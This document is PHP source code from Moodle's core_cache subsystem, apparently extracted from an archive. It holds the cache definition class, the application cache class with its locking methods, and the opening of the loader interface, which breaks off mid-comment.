definitions need to be defined in db/caches.php files. * They can be constructed with the following options. * * Required settings: * + mode * [int] Sets the mode for the definition. Must be one of store::MODE_* * * Optional settings: * + simplekeys * [bool] Set to true if your cache will only use simple keys for its items. * Simple keys consist of digits, underscores and the 26 chars of the english language. a-zA-Z0-9_ * If true the keys won't be hashed before being passed to the cache store for gets/sets/deletes. It will be * better for performance and possible only becase we know the keys are safe. * + simpledata * [bool] If set to true we know that the data is scalar or array of scalar. * + requireidentifiers * [array] An array of identifiers that must be provided to the cache when it is created. * + requiredataguarantee * [bool] If set to true then only stores that can guarantee data will remain available once set will be used. * + requiremultipleidentifiers * [bool] If set to true then only stores that support multiple identifiers will be used. * + requirelockingbeforewrite * [bool] If set to true then the system will throw an exception if you try to write to * the cache without having a lock on the relevant keys. * + maxsize * [int] If set this will be used as the maximum number of entries within the cache store for this definition. * Its important to note that cache stores don't actually have to acknowledge this setting or maintain it as a hard limit. * + overrideclass * [string] A class to use as the loader for this cache. This is an advanced setting and will allow the developer of the * definition to take 100% control of the caching solution. * Any class used here must inherit the cache loader_interface and must extend default cache loader for the mode they are * using. * + overrideclassfile * [string] Suplements the above setting indicated the file containing the class to be used. This file is included when * required. * + datasource * [string] A class to use as the data loader for this definition. * Any class used here must inherit the \core_cache\data_source_interface interface. * + datasourcefile * [string] Supplements the above setting indicating the file containing the class to be used. This file is included when * required. * + staticacceleration * The cache loader will keep an array of the items set and retrieved to the cache during the request. * Consider using this setting when you know that there are going to be many calls to the cache for the same information. * Requests for data in this array will be ultra fast, but it will cost memory. * + staticaccelerationsize * [int] This supplements the above setting by limiting the number of items in the static acceleration array. * Tweaking this setting lower will allow you to minimise the memory implications above while hopefully still managing to * offset calls to the cache store. * + ttl * [int] A time to live for the data (in seconds). It is strongly recommended that you don't make use of this and * instead try to create an event driven invalidation system. * Not all cache stores will support this natively and there are undesired performance impacts if the cache store does not. * + mappingsonly * [bool] If set to true only the mapped cache store(s) will be used and the default mode store will not. This is a super * advanced setting and should not be used unless absolutely required. It allows you to avoid the default stores for one * reason or another. * + invalidationevents * [array] An array of events that should cause this cache to invalidate some or all of the items within it. * + sharingoptions * [int] The sharing options that are appropriate for this definition. Should be the sum of the possible options. * + defaultsharing * [int] The default sharing option to use. It's highly recommended that you don't set this unless there is a very * specific reason not to use the system default. * + canuselocalstore * [bool] The cache is able to safely run with multiple copies on different webservers without any need for administrator * intervention to ensure that data stays in sync across nodes. This is usually managed by a revision * system as seen in modinfo cache or language cache. Requiring purge on upgrade is not sufficient as * it requires administrator intervention on each node to make it work. * * For examples take a look at lib/db/caches.php * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class definition { /** The cache can be shared with everyone */ const SHARING_ALL = 1; /** The cache can be shared with other sites using the same siteid. */ const SHARING_SITEID = 2; /** The cache can be shared with other sites of the same version. */ const SHARING_VERSION = 4; /** The cache can be shared with other sites using the same key */ const SHARING_INPUT = 8; /** * The default sharing options available. * All + SiteID + Version + Input. */ const SHARING_DEFAULTOPTIONS = 15; /** * The default sharing option that gets used if none have been selected. * SiteID. It is the most restrictive. */ const SHARING_DEFAULT = 2; /** * The identifier for the definition * @var string */ protected $id; /** * The mode for the defintion. One of store::MODE_* * @var int */ protected $mode; /** * The component this definition is associated with. * @var string */ protected $component; /** * The area this definition is associated with. * @var string */ protected $area; /** * If set to true we know the keys are simple. a-zA-Z0-9_ * @var bool */ protected $simplekeys = false; /** * Set to true if we know the data is scalar or array of scalar. * @var bool */ protected $simpledata = false; /** * An array of identifiers that must be provided when the definition is used to create a cache. * @var array */ protected $requireidentifiers = []; /** * If set to true then only stores that guarantee data may be used with this definition. * @var bool */ protected $requiredataguarantee = false; /** * If set to true then only stores that support multple identifiers may be used with this definition. * @var bool */ protected $requiremultipleidentifiers = false; /** * If set to true then we know that this definition requires the locking functionality. * This gets set during construction based upon the setting requirelockingbeforewrite. * @var bool */ protected $requirelocking = false; /** * Gets set to true if this definition requires a lock to be acquired before a write is attempted. * @var bool */ protected $requirelockingbeforewrite = false; /** * Gets set to true if this definition requires searchable stores. * @since Moodle 2.4.4 * @var bool */ protected $requiresearchable = false; /** * Sets the maximum number of items that can exist in the cache. * Please note this isn't a hard limit, and doesn't need to be enforced by the caches. They can choose to do so optionally. * @var int */ protected $maxsize = null; /** * The class to use as the cache loader for this definition. * @var string */ protected $overrideclass = null; /** * The file in which the override class exists. This will be included if required. * @var string Absolute path */ protected $overrideclassfile = null; /** * The data source class to use with this definition. * @var string */ protected $datasource = null; /** * The file in which the data source class exists. This will be included if required. * @var string */ protected $datasourcefile = null; /** * Set to true if the cache should hold onto items passing through it to speed up subsequent requests. * @var bool */ protected $staticacceleration = false; /** * The maximum number of items that static acceleration cache should hold onto. * @var int */ protected $staticaccelerationsize = false; /** * The TTL for data in this cache. Please don't use this, instead use event driven invalidation. * @var int */ protected $ttl = 0; /** * Set to true if this cache should only use mapped cache stores and not the default mode cache store. * @var bool */ protected $mappingsonly = false; /** * An array of events that should cause this cache to invalidate. * @var array */ protected $invalidationevents = []; /** * An array of identifiers provided to this cache when it was initialised. * @var array */ protected $identifiers = null; /** * Key prefix for use with single key cache stores * @var string */ protected $keyprefixsingle = null; /** * Key prefix to use with cache stores that support multi keys. * @var array */ protected $keyprefixmulti = null; /** * A hash identifier of this definition. * @var string */ protected $definitionhash = null; /** * The selected sharing mode for this definition. * @var int */ protected $sharingoptions; /** * Whether this cache supports local storages. * @var bool */ protected $canuselocalstore = false; /** * The selected sharing option. * @var int One of self::SHARING_* */ protected $selectedsharingoption = self::SHARING_DEFAULT; /** * The user input key to use if the SHARING_INPUT option has been selected. * @var string Must be ALPHANUMEXT */ protected $userinputsharingkey = ''; /** * Creates a cache definition given a definition from the cache configuration or from a caches.php file. * * @param string $id * @param array $definition * @param string $unused Used to be datasourceaggregate but that was removed and this is now unused. * @return definition * @throws coding_exception */ public static function load($id, array $definition, $unused = null) { global $CFG; if (!array_key_exists('mode', $definition)) { throw new coding_exception('You must provide a mode when creating a cache definition'); } if (!array_key_exists('component', $definition)) { throw new coding_exception('You must provide a component when creating a cache definition'); } if (!array_key_exists('area', $definition)) { throw new coding_exception('You must provide an area when creating a cache definition'); } $mode = (int)$definition['mode']; $component = (string)$definition['component']; $area = (string)$definition['area']; // Set the defaults. $simplekeys = false; $simpledata = false; $requireidentifiers = []; $requiredataguarantee = false; $requiremultipleidentifiers = false; $requirelockingbeforewrite = false; $requiresearchable = ($mode === store::MODE_SESSION) ? true : false; $maxsize = null; $overrideclass = null; $overrideclassfile = null; $datasource = null; $datasourcefile = null; $staticacceleration = false; $staticaccelerationsize = false; $ttl = 0; $mappingsonly = false; $invalidationevents = []; $sharingoptions = self::SHARING_DEFAULT; $selectedsharingoption = self::SHARING_DEFAULT; $userinputsharingkey = ''; $canuselocalstore = false; if (array_key_exists('simplekeys', $definition)) { $simplekeys = (bool)$definition['simplekeys']; } if (array_key_exists('simpledata', $definition)) { $simpledata = (bool)$definition['simpledata']; } if (array_key_exists('requireidentifiers', $definition)) { $requireidentifiers = (array)$definition['requireidentifiers']; } if (array_key_exists('requiredataguarantee', $definition)) { $requiredataguarantee = (bool)$definition['requiredataguarantee']; } if (array_key_exists('requiremultipleidentifiers', $definition)) { $requiremultipleidentifiers = (bool)$definition['requiremultipleidentifiers']; } if (array_key_exists('requirelockingread', $definition)) { debugging( 'The cache option requirelockingread is deprecated and now has no effect.', DEBUG_DEVELOPER ); } if (array_key_exists('requirelockingwrite', $definition)) { debugging( 'The cache option requirelockingwrite is deprecated and now has no effect. ' . "Consider removing the option, or using requirelockingbeforewrite for the $component:$area definition", DEBUG_DEVELOPER ); } if (array_key_exists('requirelockingbeforewrite', $definition)) { $requirelockingbeforewrite = (bool)$definition['requirelockingbeforewrite']; } // This generic $requirelocking variable is kept in code in case we ever add // another locking option, most obviously requirelockingbeforeread. $requirelocking = $requirelockingbeforewrite; if (array_key_exists('requiresearchable', $definition)) { $requiresearchable = (bool)$definition['requiresearchable']; } if (array_key_exists('maxsize', $definition)) { $maxsize = (int)$definition['maxsize']; } if (array_key_exists('overrideclass', $definition)) { $overrideclass = $definition['overrideclass']; } if (array_key_exists('overrideclassfile', $definition)) { $overrideclassfile = $definition['overrideclassfile']; } if (array_key_exists('datasource', $definition)) { $datasource = $definition['datasource']; } if (array_key_exists('datasourcefile', $definition)) { $datasourcefile = $definition['datasourcefile']; } if (array_key_exists('persistent', $definition)) { // Ahhh this is the legacy persistent option. $staticacceleration = (bool)$definition['persistent']; } if (array_key_exists('staticacceleration', $definition)) { $staticacceleration = (bool)$definition['staticacceleration']; } if (array_key_exists('persistentmaxsize', $definition)) { // Ahhh this is the legacy persistentmaxsize option. $staticaccelerationsize = (int)$definition['persistentmaxsize']; } if (array_key_exists('staticaccelerationsize', $definition)) { $staticaccelerationsize = (int)$definition['staticaccelerationsize']; } if (array_key_exists('ttl', $definition)) { $ttl = (int)$definition['ttl']; } if (array_key_exists('mappingsonly', $definition)) { $mappingsonly = (bool)$definition['mappingsonly']; } if (array_key_exists('invalidationevents', $definition)) { $invalidationevents = (array)$definition['invalidationevents']; } if (array_key_exists('sharingoptions', $definition)) { $sharingoptions = (int)$definition['sharingoptions']; } if (array_key_exists('selectedsharingoption', $definition)) { $selectedsharingoption = (int)$definition['selectedsharingoption']; } else if (array_key_exists('defaultsharing', $definition)) { $selectedsharingoption = (int)$definition['defaultsharing']; } else if ($sharingoptions ^ $selectedsharingoption) { if ($sharingoptions & self::SHARING_SITEID) { $selectedsharingoption = self::SHARING_SITEID; } else if ($sharingoptions & self::SHARING_VERSION) { $selectedsharingoption = self::SHARING_VERSION; } else { $selectedsharingoption = self::SHARING_ALL; } } if (array_key_exists('canuselocalstore', $definition)) { $canuselocalstore = (bool)$definition['canuselocalstore']; } if (array_key_exists('userinputsharingkey', $definition) && !empty($definition['userinputsharingkey'])) { $userinputsharingkey = (string)$definition['userinputsharingkey']; } if (!is_null($overrideclass)) { if (!is_null($overrideclassfile)) { if (strpos($overrideclassfile, $CFG->dirroot) !== 0) { $overrideclassfile = $CFG->dirroot . '/' . $overrideclassfile; } if (strpos($overrideclassfile, '../') !== false) { throw new coding_exception('No path craziness allowed within override class file path.'); } if (!file_exists($overrideclassfile)) { throw new coding_exception('The override class file does not exist.'); } require_once($overrideclassfile); } if (!class_exists($overrideclass)) { throw new coding_exception('The override class does not exist.'); } // Make sure that the provided class extends the default class for the mode. if (get_parent_class($overrideclass) !== helper::get_class_for_mode($mode)) { throw new coding_exception('The override class does not immediately extend the relevant cache class.'); } } if (!is_null($datasource)) { if (!is_null($datasourcefile)) { if (strpos($datasourcefile, $CFG->dirroot) !== 0) { $datasourcefile = $CFG->dirroot . '/' . $datasourcefile; } if (strpos($datasourcefile, '../') !== false) { throw new coding_exception('No path craziness allowed within data source file path.'); } if (!file_exists($datasourcefile)) { throw new coding_exception('The data source class file does not exist.'); } require_once($datasourcefile); } if (!class_exists($datasource)) { throw new coding_exception('The data source class does not exist.'); } if (!is_a($datasource, data_source_interface::class, true)) { throw new coding_exception('Cache data source classes must implement the data_source_interface interface'); } } $cachedefinition = new self(); $cachedefinition->id = $id; $cachedefinition->mode = $mode; $cachedefinition->component = $component; $cachedefinition->area = $area; $cachedefinition->simplekeys = $simplekeys; $cachedefinition->simpledata = $simpledata; $cachedefinition->requireidentifiers = $requireidentifiers; $cachedefinition->requiredataguarantee = $requiredataguarantee; $cachedefinition->requiremultipleidentifiers = $requiremultipleidentifiers; $cachedefinition->requirelocking = $requirelocking; $cachedefinition->requirelockingbeforewrite = $requirelockingbeforewrite; $cachedefinition->requiresearchable = $requiresearchable; $cachedefinition->maxsize = $maxsize; $cachedefinition->overrideclass = $overrideclass; $cachedefinition->overrideclassfile = $overrideclassfile; $cachedefinition->datasource = $datasource; $cachedefinition->datasourcefile = $datasourcefile; $cachedefinition->staticacceleration = $staticacceleration; $cachedefinition->staticaccelerationsize = $staticaccelerationsize; $cachedefinition->ttl = $ttl; $cachedefinition->mappingsonly = $mappingsonly; $cachedefinition->invalidationevents = $invalidationevents; $cachedefinition->sharingoptions = $sharingoptions; $cachedefinition->selectedsharingoption = $selectedsharingoption; $cachedefinition->userinputsharingkey = $userinputsharingkey; $cachedefinition->canuselocalstore = $canuselocalstore; return $cachedefinition; } /** * Creates an ah-hoc cache definition given the required params. * * Please note that when using an adhoc definition you cannot set any of the optional params. * This is because we cannot guarantee consistent access and we don't want to mislead people into thinking that. * * @param int $mode One of store::MODE_* * @param string $component The component this definition relates to. * @param string $area The area this definition relates to. * @param array $options An array of options, available options are: * - simplekeys : Set to true if the keys you will use are a-zA-Z0-9_ * - simpledata : Set to true if the type of the data you are going to store is scalar, or an array of scalar vars * - overrideclass : The class to use as the loader. * - staticacceleration : If set to true the cache will hold onto data passing through it. * - staticaccelerationsize : Set it to an int to limit the size of the staticacceleration cache. * @return self */ public static function load_adhoc($mode, $component, $area, array $options = []) { $id = 'adhoc/' . $component . '_' . $area; $definition = [ 'mode' => $mode, 'component' => $component, 'area' => $area, ]; if (!empty($options['simplekeys'])) { $definition['simplekeys'] = $options['simplekeys']; } if (!empty($options['simpledata'])) { $definition['simpledata'] = $options['simpledata']; } if (!empty($options['persistent'])) { // Ahhh this is the legacy persistent option. $definition['staticacceleration'] = (bool)$options['persistent']; } if (!empty($options['staticacceleration'])) { $definition['staticacceleration'] = (bool)$options['staticacceleration']; } if (!empty($options['staticaccelerationsize'])) { $definition['staticaccelerationsize'] = (int)$options['staticaccelerationsize']; } if (!empty($options['overrideclass'])) { $definition['overrideclass'] = $options['overrideclass']; } if (!empty($options['sharingoptions'])) { $definition['sharingoptions'] = $options['sharingoptions']; } return self::load($id, $definition, null); } /** * Returns the cache loader class that should be used for this definition. * @return string */ public function get_cache_class() { if (!is_null($this->overrideclass)) { return $this->overrideclass; } return helper::get_class_for_mode($this->mode); } /** * Returns the id of this definition. * @return string */ public function get_id() { return $this->id; } /** * Returns the name for this definition * @return string */ public function get_name() { $identifier = 'cachedef_' . clean_param($this->area, PARAM_STRINGID); $component = $this->component; if ($component === 'core') { $component = 'cache'; } return new lang_string($identifier, $component); } /** * Returns the mode of this definition * @return int One more store::MODE_ */ public function get_mode() { return $this->mode; } /** * Returns the area this definition is associated with. * @return string */ public function get_area() { return $this->area; } /** * Returns the component this definition is associated with. * @return string */ public function get_component() { return $this->component; } /** * Returns true if this definition is using simple keys. * * Simple keys contain only a-zA-Z0-9_ * * @return bool */ public function uses_simple_keys() { return $this->simplekeys; } /** * Returns the identifiers that are being used for this definition. * @return array */ public function get_identifiers() { if (!isset($this->identifiers)) { return []; } return $this->identifiers; } /** * Returns the ttl in seconds for this definition if there is one, or null if not. * @return int|null */ public function get_ttl() { return $this->ttl; } /** * Returns the maximum number of items allowed in this cache. * @return int */ public function get_maxsize() { return $this->maxsize; } /** * Returns true if this definition should only be used with mappings. * @return bool */ public function is_for_mappings_only() { return $this->mappingsonly; } /** * Returns true if the data is known to be scalar or array of scalar. * @return bool */ public function uses_simple_data() { return $this->simpledata; } /** * Returns true if this definition requires a data guarantee from the cache stores being used. * @return bool */ public function require_data_guarantee() { return $this->requiredataguarantee; } /** * Returns true if this definition requires that the cache stores support multiple identifiers * @return bool */ public function require_multiple_identifiers() { return $this->requiremultipleidentifiers; } /** * Returns true if this definition requires locking functionality. Either read or write locking. * @return bool */ public function require_locking() { return $this->requirelocking; } /** * Returns true if this definition requires a lock to be aquired before a write is attempted. * @return bool */ public function require_locking_before_write() { return $this->requirelockingbeforewrite; } /** * Returns true if this definition allows local storage to be used for caching. * @since Moodle 3.1.0 * @return bool */ public function can_use_localstore() { return $this->canuselocalstore; } /** * Returns true if this definition requires a searchable cache. * @since Moodle 2.4.4 * @return bool */ public function require_searchable() { return $this->requiresearchable; } /** * Returns true if this definition has an associated data source. * @return bool */ public function has_data_source() { return !is_null($this->datasource); } /** * Returns an instance of the data source class used for this definition. * * @return data_source_interface * @throws coding_exception */ public function get_data_source() { if (!$this->has_data_source()) { throw new coding_exception('This cache does not use a data source.'); } return forward_static_call([$this->datasource, 'get_instance_for_cache'], $this); } /** * Sets the identifiers for this definition, or updates them if they have already been set. * * @param array $identifiers * @return bool false if no identifiers where changed, true otherwise. * @throws coding_exception */ public function set_identifiers(array $identifiers = []) { if ($this->identifiers !== null) { throw new coding_exception("You can only set identifiers on initial definition creation." . " Define a new cache to set different identifiers."); } if (!empty($identifiers) && !empty($this->invalidationevents)) { throw new coding_exception("You cannot use event invalidation and identifiers at the same time."); } foreach ($this->requireidentifiers as $identifier) { if (!isset($identifiers[$identifier])) { throw new coding_exception('Identifier required for cache has not been provided: ' . $identifier); } } $this->identifiers = []; foreach ($identifiers as $name => $value) { $this->identifiers[$name] = (string)$value; } // Reset the key prefix's they need updating now. $this->keyprefixsingle = null; $this->keyprefixmulti = null; return true; } /** * Returns the requirements of this definition as a binary flag. * @return int */ public function get_requirements_bin() { $requires = 0; if ($this->require_data_guarantee()) { $requires += store::SUPPORTS_DATA_GUARANTEE; } if ($this->require_multiple_identifiers()) { $requires += store::SUPPORTS_MULTIPLE_IDENTIFIERS; } if ($this->require_searchable()) { $requires += store::IS_SEARCHABLE; } return $requires; } /** * Returns true if we should hold onto the data flowing through the cache. * * If set to true data flowing through the cache will be stored in a static variable * to make subsequent requests for the data much faster. * * @return bool */ public function use_static_acceleration() { if ($this->mode === store::MODE_REQUEST) { // Request caches should never use static acceleration - it just doesn't make sense. return false; } return $this->staticacceleration; } /** * Returns the max size for the static acceleration array. * @return int */ public function get_static_acceleration_size() { return $this->staticaccelerationsize; } /** * Generates a hash of this definition and returns it. * @return string */ public function generate_definition_hash() { if ($this->definitionhash === null) { $this->definitionhash = md5("{$this->mode} {$this->component} {$this->area}"); } return $this->definitionhash; } /** * Generates a single key prefix for this definition * * @return string */ public function generate_single_key_prefix() { if ($this->keyprefixsingle === null) { $this->keyprefixsingle = $this->mode . '/' . $this->component . '/' . $this->area; $this->keyprefixsingle .= '/' . $this->get_cache_identifier(); $identifiers = $this->get_identifiers(); if ($identifiers) { foreach ($identifiers as $key => $value) { $this->keyprefixsingle .= '/' . $key . '=' . $value; } } $this->keyprefixsingle = md5($this->keyprefixsingle); } return $this->keyprefixsingle; } /** * Generates a multi key prefix for this definition * * @return array */ public function generate_multi_key_parts() { if ($this->keyprefixmulti === null) { $this->keyprefixmulti = [ 'mode' => $this->mode, 'component' => $this->component, 'area' => $this->area, 'siteidentifier' => $this->get_cache_identifier(), ]; if (isset($this->identifiers) && !empty($this->identifiers)) { $identifiers = []; foreach ($this->identifiers as $key => $value) { $identifiers[] = htmlentities($key, ENT_QUOTES, 'UTF-8') . '=' . htmlentities($value, ENT_QUOTES, 'UTF-8'); } $this->keyprefixmulti['identifiers'] = join('&', $identifiers); } } return $this->keyprefixmulti; } /** * Check if this definition should invalidate on the given event. * * @param string $event * @return bool True if the definition should invalidate on the event. False otherwise. */ public function invalidates_on_event($event) { return (in_array($event, $this->invalidationevents)); } /** * Check if the definition has any invalidation events. * * @return bool True if it does, false otherwise */ public function has_invalidation_events() { return !empty($this->invalidationevents); } /** * Returns all of the invalidation events for this definition. * * @return array */ public function get_invalidation_events() { return $this->invalidationevents; } /** * Returns a cache identification string. * * @return string A string to be used as part of keys. */ protected function get_cache_identifier() { $identifiers = []; if ($this->selectedsharingoption & self::SHARING_ALL) { // Nothing to do here. } else { if ($this->selectedsharingoption & self::SHARING_SITEID) { $identifiers[] = helper::get_site_identifier(); } if ($this->selectedsharingoption & self::SHARING_VERSION) { $identifiers[] = helper::get_site_version(); } if ($this->selectedsharingoption & self::SHARING_INPUT && !empty($this->userinputsharingkey)) { $identifiers[] = $this->userinputsharingkey; } } return join('/', $identifiers); } /** * Returns true if this definition requires identifiers. * * @param bool */ public function has_required_identifiers() { return (count($this->requireidentifiers) > 0); } /** * Returns the possible sharing options that can be used with this defintion. * * @return int */ public function get_sharing_options() { return $this->sharingoptions; } /** * Returns the user entered sharing key for this definition. * * @return string */ public function get_user_input_sharing_key() { return $this->userinputsharingkey; } /** * Returns the user selected sharing option for this definition. * * @return int */ public function get_selected_sharing_option() { return $this->selectedsharingoption; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(definition::class, \cache_definition::class); classes/application_cache.php000064400000034025152265337610012356 0ustar00. namespace core_cache; use core\exception\coding_exception; use core\exception\moodle_exception; /** * An application cache. * * This class is used for application caches returned by the cache::make methods. * On top of the standard functionality it also allows locking to be required and or manually operated. * * This cache class should never be interacted with directly. Instead you should always use the cache::make methods. * It is technically possible to call those methods through this class however there is no guarantee that you will get an * instance of this class back again. * * @internal don't use me directly. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class application_cache extends cache implements loader_with_locking_interface { /** * Lock identifier. * This is used to ensure the lock belongs to the cache instance + definition + user. * @var string */ protected $lockidentifier; /** * Gets set to true if the cache's primary store natively supports locking. * If it does then we use that, otherwise we need to instantiate a second store to use for locking. * @var store */ protected $nativelocking = null; /** * Gets set to true if the cache is going to be using locking. * This isn't a requirement, it doesn't need to use locking (most won't) and this bool is used to quickly check things. * If required then locking will be forced for the get|set|delete operation. * @var bool */ protected $requirelocking = false; /** * Gets set to true if the cache writes (set|delete) must have a manual lock created first * @var bool */ protected $requirelockingbeforewrite = false; /** * Gets set to a store to use for locking if the caches primary store doesn't support locking natively. * @var lockable_cache_interface */ protected $cachelockinstance; /** * Store a list of locks acquired by this process. * @var array */ protected $locks; /** * Overrides the cache construct method. * * You should not call this method from your code, instead you should use the cache::make methods. * * @param definition $definition * @param store $store * @param loader_interface|data_source_interface $loader */ public function __construct(definition $definition, store $store, $loader = null) { parent::__construct($definition, $store, $loader); $this->nativelocking = $this->store_supports_native_locking(); if ($definition->require_locking()) { $this->requirelocking = true; $this->requirelockingbeforewrite = $definition->require_locking_before_write(); } $this->handle_invalidation_events(); } /** * Returns the identifier to use * * @staticvar int $instances Counts the number of instances. Used as part of the lock identifier. * @return string */ public function get_identifier() { static $instances = 0; if ($this->lockidentifier === null) { $this->lockidentifier = md5( $this->get_definition()->generate_definition_hash() . sesskey() . $instances++ . application_cache::class, ); } return $this->lockidentifier; } /** * Fixes the instance up after a clone. */ public function __clone() { // Force a new idenfitier. $this->lockidentifier = null; } /** * Acquires a lock on the given key. * * This is done automatically if the definition requires it. * It is recommended to use a definition if you want to have locking although it is possible to do locking without having * it required by the definition. * The problem with such an approach is that you cannot ensure that code will consistently use locking. You will need to * rely on the integrators review skills. * * @param string|int $key The key as given to get|set|delete * @return bool Always returns true * @throws moodle_exception If the lock cannot be obtained */ public function acquire_lock($key) { $releaseparent = false; try { if ($this->get_loader() !== false) { $this->get_loader()->acquire_lock($key); // We need to release this lock later if the lock is not successful. $releaseparent = true; } $hashedkey = helper::hash_key($key, $this->get_definition()); $before = microtime(true); if ($this->nativelocking) { $lock = $this->get_store()->acquire_lock($hashedkey, $this->get_identifier()); } else { $this->ensure_cachelock_available(); $lock = $this->cachelockinstance->lock($hashedkey, $this->get_identifier()); } $after = microtime(true); if ($lock) { $this->locks[$hashedkey] = $lock; if (MDL_PERF || $this->perfdebug) { \core\lock\timing_wrapper_lock_factory::record_lock_data( $after, $before, $this->get_definition()->get_id(), $hashedkey, $lock, $this->get_identifier() . $hashedkey ); } $releaseparent = false; return true; } else { throw new moodle_exception( 'ex_unabletolock', 'cache', '', null, 'store: ' . get_class($this->get_store()) . ', lock: ' . $hashedkey ); } } finally { // Release the parent lock if we acquired it, then threw an exception. if ($releaseparent) { $this->get_loader()->release_lock($key); } } } /** * Checks if this cache has a lock on the given key. * * @param string|int $key The key as given to get|set|delete * @return bool|null Returns true if there is a lock and this cache has it, null if no one has a lock on that key, false if * someone else has the lock. */ public function check_lock_state($key) { $key = helper::hash_key($key, $this->get_definition()); if (!empty($this->locks[$key])) { return true; // Shortcut to save having to make a call to the cache store if the lock is held by this process. } if ($this->nativelocking) { return $this->get_store()->check_lock_state($key, $this->get_identifier()); } else { $this->ensure_cachelock_available(); return $this->cachelockinstance->check_state($key, $this->get_identifier()); } } /** * Releases the lock this cache has on the given key * * @param string|int $key * @return bool True if the operation succeeded, false otherwise. */ public function release_lock($key) { $loaderkey = $key; $key = helper::hash_key($key, $this->get_definition()); if ($this->nativelocking) { $released = $this->get_store()->release_lock($key, $this->get_identifier()); } else { $this->ensure_cachelock_available(); $released = $this->cachelockinstance->unlock($key, $this->get_identifier()); } if ($released && array_key_exists($key, $this->locks)) { unset($this->locks[$key]); if (MDL_PERF || $this->perfdebug) { \core\lock\timing_wrapper_lock_factory::record_lock_released_data($this->get_identifier() . $key); } } if ($this->get_loader() !== false) { $this->get_loader()->release_lock($loaderkey); } return $released; } /** * Ensure that the dedicated lock store is ready to go. * * This should only happen if the cache store doesn't natively support it. */ protected function ensure_cachelock_available() { if ($this->cachelockinstance === null) { $this->cachelockinstance = helper::get_cachelock_for_store($this->get_store()); } } /** * Sends a key => value pair to the cache. * * * // This code will add four entries to the cache, one for each url. * $cache->set('main', 'http://moodle.org'); * $cache->set('docs', 'http://docs.moodle.org'); * $cache->set('tracker', 'http://tracker.moodle.org'); * $cache->set('qa', 'http://qa.moodle.net'); * * * @param string|int $key The key for the data being requested. * @param int $version Version number * @param mixed $data The data to set against the key. * @param bool $setparents If true, sets all parent loaders, otherwise only this one * @return bool True on success, false otherwise. * @throws coding_exception If a required lock has not beeen acquired */ protected function set_implementation($key, int $version, $data, bool $setparents = true): bool { if ($this->requirelockingbeforewrite && !$this->check_lock_state($key)) { throw new coding_exception('Attempted to set cache key "' . $key . '" without a lock. ' . 'Locking before writes is required for ' . $this->get_definition()->get_id()); } return parent::set_implementation($key, $version, $data, $setparents); } /** * Sends several key => value pairs to the cache. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * * // This code will add four entries to the cache, one for each url. * $cache->set_many(array( * 'main' => 'http://moodle.org', * 'docs' => 'http://docs.moodle.org', * 'tracker' => 'http://tracker.moodle.org', * 'qa' => ''http://qa.moodle.net' * )); * * * @param array $keyvaluearray An array of key => value pairs to send to the cache. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items. * ... if they care that is. * @throws coding_exception If a required lock has not beeen acquired */ public function set_many(array $keyvaluearray) { if ($this->requirelockingbeforewrite) { foreach ($keyvaluearray as $key => $value) { if (!$this->check_lock_state($key)) { throw new coding_exception('Attempted to set cache key "' . $key . '" without a lock. ' . 'Locking before writes is required for ' . $this->get_definition()->get_id()); } } } return parent::set_many($keyvaluearray); } /** * Delete the given key from the cache. * * @param string|int $key The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return bool True of success, false otherwise. * @throws coding_exception If a required lock has not beeen acquired */ public function delete($key, $recurse = true) { if ($this->requirelockingbeforewrite && !$this->check_lock_state($key)) { throw new coding_exception('Attempted to delete cache key "' . $key . '" without a lock. ' . 'Locking before writes is required for ' . $this->get_definition()->get_id()); } return parent::delete($key, $recurse); } /** * Delete all of the given keys from the cache. * * @param array $keys The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return int The number of items successfully deleted. * @throws coding_exception If a required lock has not beeen acquired */ public function delete_many(array $keys, $recurse = true) { if ($this->requirelockingbeforewrite) { foreach ($keys as $key) { if (!$this->check_lock_state($key)) { throw new coding_exception('Attempted to delete cache key "' . $key . '" without a lock. ' . 'Locking before writes is required for ' . $this->get_definition()->get_id()); } } } return parent::delete_many($keys, $recurse); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(application_cache::class, \cache_application::class); classes/loader_interface.php000064400000025561152265337610012223 0ustar00. namespace core_cache; /** * Cache Loader. * * This cache loader interface provides the required structure for classes that wish to be interacted with as a * means of accessing and interacting with a cache. * * Can be implemented by any class wishing to be a cache loader. * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface loader_interface { /** * Retrieves the value for the given key from the cache. * * @param string|int $key The key for the data being requested. * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @return mixed The data retrieved from the cache, or false if the key did not exist within the cache. * If MUST_EXIST was used then an exception will be thrown if the key does not exist within the cache. */ public function get($key, $strictness = IGNORE_MISSING); /** * Retrieves the value and actual version for the given key, with at least the required version. * * If there is no value for the key, or there is a value but it doesn't have the required * version, then this function will return false (or throw an exception if you set strictness * to MUST_EXIST). * * This function can be used to make it easier to support localisable caches (where the cache * could be stored on a local server as well as a shared cache). Specifying the version means * that it will automatically retrieve the correct version if available, either from the local * server or [if that has an older version] from the shared server. * * If the cached version is newer than specified version, it will be returned regardless. For * example, if you request version 4, but the locally cached version is 5, it will be returned. * If you request version 6, and the locally cached version is 5, then the system will look in * higher-level caches (if any); if there still isn't a version 6 or greater, it will return * null. * * You must use this function if you use set_versioned. * * @param string|int $key The key for the data being requested. * @param int $requiredversion Minimum required version of the data * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @param mixed $actualversion If specified, will be set to the actual version number retrieved * @return mixed Data from the cache, or false if the key did not exist or was too old */ public function get_versioned($key, int $requiredversion, int $strictness = IGNORE_MISSING, &$actualversion = null); /** * Retrieves an array of values for an array of 